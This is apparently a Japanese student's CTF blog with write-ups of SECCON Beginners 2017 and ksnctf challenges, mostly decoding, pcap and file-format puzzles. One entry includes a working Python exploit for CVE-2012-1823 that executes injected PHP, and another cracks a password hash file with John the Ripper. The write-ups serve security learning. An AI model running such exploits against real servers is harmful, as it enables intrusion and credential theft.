田舎院生のセキュログ

自分用のメモとかWrite-up

SECCON Beginers 2017 in 長崎

SECCON Beginners 2017の長崎に参加してきたので、解けた問題のWrite-upを書きます。
ちなみに5位入賞(*‘∀‘)
バイナリは解き方が分かってても、短時間で解く気が起きない…笑

Misc

スコアサーバ入門 100

テスト用問題なのでパス!

てけいさん for びぎなーず 200

簡単な四則演算を100回連続で正解する問題
実はこの問題は去年解いたことあって、その時は自力で解いた(笑)
そこで今回は自動で解く!
f:id:swime:20171203155520j:plain
ソースコードを見ると、問題の数式だけdivタグを使っていることが分かる。
だからあとは、divタグから数式を抽出して計算し、結果を送信すれば良いだけ。
Pythonで書いたプログラムはこんな感じ。

# coding:utf-8

import requests
from bs4 import BeautifulSoup

url = 'http://172.20.1.1/php_math.php'
s = requests.session()
req = s.get(url)

for i in range(103):
    soup = BeautifulSoup(req.text, "lxml")
    if soup.find("div") is None:
        print(soup.text)

    else:
        div = soup.find("div").text
        quest = div.split(' ')
        x = int(quest[0])
        y = int(quest[2])

        if "+" in div:
            ans = x + y
        elif "-" in div:
            ans = x - y
        elif "*" in div:
            ans = x * y
        elif "/" in div:
            ans = x / y
        else:
            print(soup)
        req = s.post(url, data={"answer": ans})
        print(ans)

一瞬で計算終わってフラグゲット!

QR Puzzle 200

この3枚の画像を
f:id:swime:20171203162720j:plain
画像編集で繋げて絵文字部分を修正するだけ。
f:id:swime:20171203162909p:plain
あとはこのサイトにアクセスしてフラグゲット!

QRの仕組みを少しだけ知ってれば即解ける問題('ω')

Web

Fix it! 100

HTTP通信を見て、HTTPレスポンスのLoctionヘッダがリダイレクト先URL。
このURLにアクセスしてフラグゲット!
f:id:swime:20171203163439j:plain

Login 100

ゲストユーザで不正ログインする問題
普通にSQLインジェクションするだけ。
f:id:swime:20171203163635j:plain

Password 200

ログイン画面が問題だったと思う…
とりあえずソースコードを見ると、怪しいJavaScriptが。
f:id:swime:20171203164820j:plain

base64ってヒントが書いてあるので、それ以降の文字列をbase64でデコード。
するとJavaScriptコードが生成される。
あとはそのコードの処理を追って行くと、フラグゲット!

Forensic

Simple 100

Wiresharkで問題のpcapを開いて「ctf4b」で検索。
ダミーが含まれているけど、フラグ発見!
f:id:swime:20171203165943j:plain

Export 200

HTTP通信を見ると、tar.gzファイルをダウンロードしていることが分かる。
あとはWiresharkでこのファイルを復元して、解凍し、フラグが書かれたテキストファイルをゲット!

W4nn4cry? 300

ファイルシステムデータが渡される。
stringsコマンドで見てみると、何かのファイルをOpenSSLで暗号化していることが分かる。ついでに暗号化時のパスワードも記録されてる。
f:id:swime:20171203171935j:plain

flsコマンドで見ると、削除してるファイルが分かる。
f:id:swime:20171203172131j:plain

これをicatで抽出するが、中身は暗号化されている。
そこで、stringsコマンドで得た情報を基に、ファイルを復号する。
コマンドは以下。

openssl enc -d -aes-256-cbc -salt -k パスワード -in 復号対象のファイル名 -out 復号後に出力するファイル名

復号したファイルの中身にフラグあり!
WannaCryもAESで暗号化してるのかな?

Reversing

Raw 100

実行ファイルが渡される。
とりあえず実行したら笑われた('Д')
f:id:swime:20171203173830j:plain

が、stringsコマンドで簡単にゲット
f:id:swime:20171203173858j:plain

#14 John

問題

ksnctf.sweetduet.info
文字列が列挙されているだけ。

解法

とりあえずこの文字列を眺めてると、最後の行にこんな文章が。

user99:$6$SHA512IsStrong$DictionaryIsHere.http//ksnctf.sweetduet.info/q/14/dicti0nary_8Th64ikELWEsZFrf.txt:15491:0:99999:7:::

ハッシュ関数である「SHA512」が関係することが分かる。また、その後の文章の通り、記述されているURLではテキスト形式の辞書を入手できる。
これ以上分からないので、とりあえず「SHA512」や「John」についてググる
その結果、SHA512でソルト付きパスワードを生成すると、先頭文字列が「$6$」になるらしい。そして、「John the Ripper」という有名なパスワードクラックツールがあるらしい。
以上のことから、問題の文字列は21人分のパスワードを「SHA512」でハッシュ化したもので、それを「John the Ripper」を使ってクラックすればいいと推測できる。

Kali LinuxにはデフォルトでJohnが入っているみたいなので、Kaliで解析していく。また、解析する際には先程入手した辞書を利用する。
コマンドはこんな感じ。

# john --wordlist==[辞書のファイル名] [解析するパスワードファイル名]

すると1つずつ解析結果が表示されていき、1分くらいで解析が終わる。
f:id:swime:20171030174954j:plain

そして解析結果を見てみる。

# john --show [解析したパスワードファイル名]

f:id:swime:20171030175121j:plain

解析したパスワードの先頭文字を順番に並べると…

FLAG_aSiuJHSLfzoQkszD

フラグをゲット!!

ちなみにこの問題は、シャドウファイルと呼ばれる、パスワードを暗号化して保存したファイルを想定していると思われる。Linuxの/etc/shadowに保存されているらしい。
例えハッシュ化されていても、パスワード自体が弱かったら簡単に突破されることが分かったな(´-`).。oO

#12 Hypertext Preprocessor

ひっさびさの更新!

問題

ksnctf.sweetduet.info

こういう数字だけが表示されています。
f:id:swime:20171028214401j:plain

解法

とりあえずソースコードを見たけど特になし。
次に問題名の「Hypertext Preprocessor」を調べてみたら、PHPのことをいうらしい('Д')シラナカッタ
それでPHP関係かなと思いつつ、表示されてる数字の「2012:1823」をググったらCVE-2012-1823が引っかかった。
これはCGI版のPHP 5.4.2/5.3.12以前に存在する脆弱性で、URLパラメータにコマンドオプションを含めたらそれを実行しちゃうってヤツ。(この脆弱性を狙ったApache Magica攻撃というのがあるらしい)
実はこの脆弱性は後輩の研究で既に知ってて、早速URLに-sを追加してみたところ、ソースコードを確認できた。
f:id:swime:20171028222604j:plain

コメントによると、フラグはこのディレクトリ内にあるとのこと。
ちなみに表示されてた数字は、CVE番号、時間、ランダム数値だと分かった。

ここから少し本格的に攻撃する必要があって、徳丸さんのサイトを参考にする。
https://blog.tokumaru.org/2012/05/php-cgi-remote-scripting-cve-2012-1823.html

それによると、この2つのコマンドを使えば任意のPHPコードを実行できるらしい。

  • allow_url_include=On
  • auto_prepend_file=php://input

そして次はPHPコードでフラグを探していく。
Fiddlerでやろうと奮闘したけど、リクエストヘッダの書き方が悪かったらしく?PHPコードが実行されない…。
ということで結局Python書いた(´Д`)

import requests

url = "http://ctfq.sweetduet.info:10080/~q12/"
query = "?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input"
payload = '''
 <?php
  foreach(glob('*') as $file){
    if(is_file($file)){
        echo "$file \n";
    }
  }
 ?>
'''
r = requests.post(url+query, data=payload)
html = r.text

print(html)

PHPの処理内容は、ディレクトリ内のファイルを一覧表示するもの。
その結果、flagがあると思われるファイルを発見。
f:id:swime:20171028225043j:plain

そしてcatで中身を見てフラグゲット!!
f:id:swime:20171028225338j:plain


元々知ってた脆弱性だったから、そんなに苦戦しなかったかな?
久々に解いて楽しかった(´∀`)

#8 Basic is secure?

問題

pcapファイルが配布されます。
ksnctf.sweetduet.info

解法

pcapなんで、とりあえずWiresharkで開いてみます。
f:id:swime:20170219160343j:plain

HTTPパケットがあったので、HTTPでフィルタリングしてみます。
f:id:swime:20170219160531j:plain

注目する点は1回目と2回目のリクエスト・レスポンスですねー
2回共同じURLにゲットリクエストをしていますが、1回目のレスポンスは401で、2回目は成功の200が返されてます。
で、成功レスポンスの方のボディ部を見てみると…
f:id:swime:20170219162203j:plain

フラグはq8のパスワードですよーというヒントが(・ω・)

ちなみにこのURLにアクセスしようとすると…
f:id:swime:20170219162658j:plain

アクセスするにはIDとパスワードが必要らしい。
認証に成功すると2個上の画像の内容が表示されるみたいですねー
問題名からしても、これはベーシック認証が使われてますね。
で、先程のHTTPパケットですが、1回目のアクセスは失敗して401が返されて、2回目のアクセス時には正しいIDとパスワードを入力して成功したわけですね。
なので、2回目のHTTPリクエスト内にフラグが隠されてるっぽい('ω')
早速見てみると…
f:id:swime:20170219164159j:plain

青背景のところにIDとパスワードが記述されているのですが、Base64エンコードされてるので一見分からないですね。
なのでデコードしようと思ったのですが、Wiresharkって自動でデコードしてくれるみたい?笑
f:id:swime:20170219164412j:plain

IDが「q8」で、パスワードが「FLAG_5ux7zK2NKSH8fSGA」で…フラグゲットー!
一応確認として、認証画面で入力してみると…
f:id:swime:20170219164602j:plain

無事認証突破しました!
ベーシック認証は、通信を盗聴されると簡単にパスワードが漏れてしまうから危険だ、ということが分かりましたね(・ω・`)



個人的にはパケットを扱う問題が一番楽しいな(´∀`*)

#28 Lo-Tech Cipher

これもサクッと('ω')

問題

ksnctf.sweetduet.info
zipファイルが渡されます。

解法

とりあえずzipファイルをダウンロードして解凍してみると・・・
f:id:swime:20170211182144j:plain
share1とshare2という名のpngファイル…この時点でもう解き方が分かっちゃいました(/・ω・)/

PowerPoint上でこの画像を表示してみます。
一枚だとこんな感じ。
f:id:swime:20170211182319j:plain

これだと全く何も分かりませんが、もう一枚の画像をピッタリ重ねてあげます。
f:id:swime:20170211182419j:plain

解像度に合わせたサイズでピッタリ重ねないとキレイに見えないかも…
これでフラグ出るかなーと思ったのですが、もう一捻り必要みたいですねー。
ヒントとして、

The last share is hidden in the ZIP

と書かれています。

zipファイルからどうにかして画像をもう一枚取り出したいので、zipファイル自体をpngファイルに変えてみました(・∀・)笑
そして、pngに変えたzipファイルをパワポに挿入してさっきの画像と重ねてみると・・・
f:id:swime:20170211183016j:plain
ビンゴ!!フラグゲットです(´∀`*)


実はコレ、視覚複合型秘密分散法っていう技術で、うちの研究室の後輩がこの技術を応用した研究をしているんですよねー(笑)
なのですぐに解けちゃいました('ω')

#29 Double Blind

知ってればサクッと解ける問題('ω')

問題

ksnctf.sweetduet.info
docx形式の論文が配布されます。
この論文の著者名がフラグになるそうです。

解法

とりあえずdocxファイルをwordで開いてみると・・・
f:id:swime:20170211172947j:plain
内容は全く読んでないけど(読む気ない)、さすがにフラグは書かれてないですね~
画像が1枚だけあって、これが怪しげ(ФωФ)
とりあえずwordファイルを分解してみます。

ファイルの拡張子をdocxからzipに変更して、解凍すると・・・
f:id:swime:20170211173921j:plain
フォルダが生成されて、そのフォルダの中にはwordファイルの要素となる画像やxmlファイルが入っています。

その後はwordフォルダ内の、おそらくメインファイルであるdocument.xmlを開きます。
で、その中身を見ていくと…フラグ発見!
f:id:swime:20170211174414j:plain

画像ファイルの場所が絶対パスで記述されていて、そこのユーザ名がフラグになっていますね(・ω・)
たぶん検索で見つけれないように邪魔な文字を入れているので、その文字を取り除いたものが正解になります。

FLAG_NTSCFTTKP5ZDDW


Wordの他に、ExcelPowerPointファイルも実はxmlファイルで構成されているので、zipに変えて解凍してやると簡単に要素を抽出することができるんですね~
知っていて損はないと思います(´∀`*)

#5 Onion

気づけば1ヶ月ぶりの更新(゜Д゜)

問題はこちらのサイト
http://ksnctf.sweetduet.info/problem/5

長い文があるだけ(・ω・)

とりあえずハッシュ化したら答え出たりしないかなーと思ったけど、まぁ出るわけもなく。笑

調べたところ、どうやらBase64エンコードされた文字列らしい。
見極め方はよく分からないんだけど、数字よりもアルファベットの方が多いのが特徴なのかな?
末尾に「 = 」があれば分かりそうだけど(-ω-)

ということで、とりあえずネット上でデコードしてくれるサイトを探してこの文字列をBase64でデコードしてみる。
が、全然解読されず('Д')

問題名がOnionだから、たぶん何回もデコードしていくのかなぁと予想。(皮を何枚も剥くみたいな?)
で、デコードを何回も繰り返していくと・・・でた!

begin 666 <data>
51DQ!1U]&94QG4#-3:4%797I74$AU
 
end

ナニコレ(゚д゚)!?
Base64では使われていない記号が含まれているからこれ以上デコードできず。
で、「begin 666」とかで調べてみると・・・uuencodeっていうのでエンコードされたときの出力らしい('ω')

特徴として、

  • begin 3桁の数字 ファイル名 で始まり、
  • end で終わる

らしい。
ちなみに3桁の数字はパーミッションを表している。アクセス許可とかのヤツですね(・∀・)

ということで、この文字列をuuencodeでデコードしてみると・・・

FLAG_FeLgP3SiAWezWPHu

フラグゲットーーー!
uuencodeもオンライン上のサービスを探して利用しました(;^ω^)
本当はBase64uuencodePythonとかでプログラムを作った方が良いんだろうけど、uuencodeはPython3系では面倒くさいっぽいので今回はやめときました。。
でも今後必要になると思うから、暇なときに作っておこう(^^;)

Base64uuencodeエンコード手法について名前は知ってたけど、実際にどういう仕組みでやってるのかは知らなかったから、今回良い勉強になったと思う(`・ω・´)
wikiに分かりやすく書いてあるので知らない人は是非wikiを!(笑)

実際にCTFを解くときは、どのエンコード手法が使われたのか、気づきが重要になりそうですねー。